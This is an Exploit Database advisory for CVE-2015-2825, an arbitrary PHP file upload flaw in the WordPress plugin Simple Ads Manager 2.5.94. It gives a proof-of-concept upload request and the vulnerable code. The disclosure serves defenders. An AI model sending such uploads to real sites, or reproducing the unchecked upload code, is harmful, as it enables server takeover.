WordPress Plugin Simple Ads Manager 2.5.94 – Arbitrary File Upload

• Exploit Database
• 36 阅读

• 作者： ITAS Team
  日期： 2015-04-02
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/36614/

• #Vulnerability title: WordPress plugin Simple Ads Manager - Arbitrary File Upload
  #Product: WordPress plugin Simple Ads Manager
  #Vendor: https://profiles.wordpress.org/minimus/
  #Affected version: Simple Ads Manager 2.5.94
  #Download link: https://wordpress.org/plugins/simple-ads-manager/
  #CVE ID: CVE-2015-2825
  #Author: Tran Dinh Tien (tien.d.tran@itas.vn) & ITAS Team
  
  
  ::PROOF OF CONCEPT::
  
  + REQUEST
  POST /wp-content/plugins/simple-ads-manager/sam-ajax-admin.php HTTP/1.1
  Host: targer.com
  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  Content-Type: multipart/form-data; boundary=---------------------------108989518220095255551617421026
  Content-Length: 683
  
  -----------------------------108989518220095255551617421026
  Content-Disposition: form-data; name="uploadfile"; filename="info.php"
  Content-Type: application/x-php
  
  <?php phpinfo(); ?>
  -----------------------------108989518220095255551617421026
  Content-Disposition: form-data; name="action"
  
  upload_ad_image
  -----------------------------108989518220095255551617421026—
  
  
  + Vulnerable file: simple-ads-manager/sam-ajax-admin.php
  
  + Vulnerable code: from line 303 to 314
  
  case 'sam_ajax_upload_ad_image':
  if(isset($_POST['path'])) {
  $uploadDir = $_POST['path'];
  $file = $uploadDir . basename($_FILES['uploadfile']['name']);
  
  if ( move_uploaded_file( $_FILES['uploadfile']['tmp_name'], $file )) {
  $out = array('status' => "success");
  } else {
  $out = array('status' => "error");
  }
  }
  break;
  	
  	
  + REFERENCE: 
  - http://www.itas.vn/news/ITAS-Team-found-out-multiple-critical-vulnerabilities-in-Hakin9-IT-Security-Magazine-78.html?language=en
  - https://www.youtube.com/watch?v=8IU9EtUTkxI